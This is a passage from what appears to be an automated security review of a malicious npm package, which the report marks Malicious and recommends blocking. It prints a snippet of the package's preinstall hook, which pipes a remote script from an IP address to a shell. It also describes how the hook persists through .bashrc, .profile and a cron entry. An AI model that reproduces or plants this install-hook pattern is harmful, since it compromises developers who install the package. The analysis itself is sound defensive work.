It modifies user shell startup files and crontab. - **Trigger:** npm preinstall during package installation - **Impact:** An attacker controls code executed as the installing user and can retain recurring access. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-28T23:10:56.754Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** remote shell execution with shell-profile and cron persistence - **Attack narrative:** The package's preinstall hook runs curl piped to sh from an IP-address endpoint. It then adds the same command to .bashrc and .profile and installs a cron entry every 30 minutes. These automatic, concealed persistence actions occur before normal package use and give the remote host control over code executed by the installing user. - **Rationale:** Direct source inspection confirms an automatic install hook that executes remote code and persists it through shell profiles and cron. The benign runtime export does not mitigate this concrete malicious behavior. - **Files touched:** .bashrc, .profile, crontab - **Network endpoints:** http://216.126.236.46/x.sh, 216.126.236.46 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The preinstall hook downloads and executes a remote shell script without consent., The hook appends a remote-execution command to .bashrc and .profile., The hook creates a cron job that reruns the remote script every 30 minutes., Failures are suppressed, making the install-time behavior less visible. - **Evidence against:** index.js only exports a version and a trivial init function. ## Public findings ### 1.

Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 80.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 7. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook downloads and executes a remote shell script without consent. Public source snippet (untrusted): ```json "preinstall": "node -e \"const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{ ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The hook appends a remote-execution command to .bashrc and .profile.
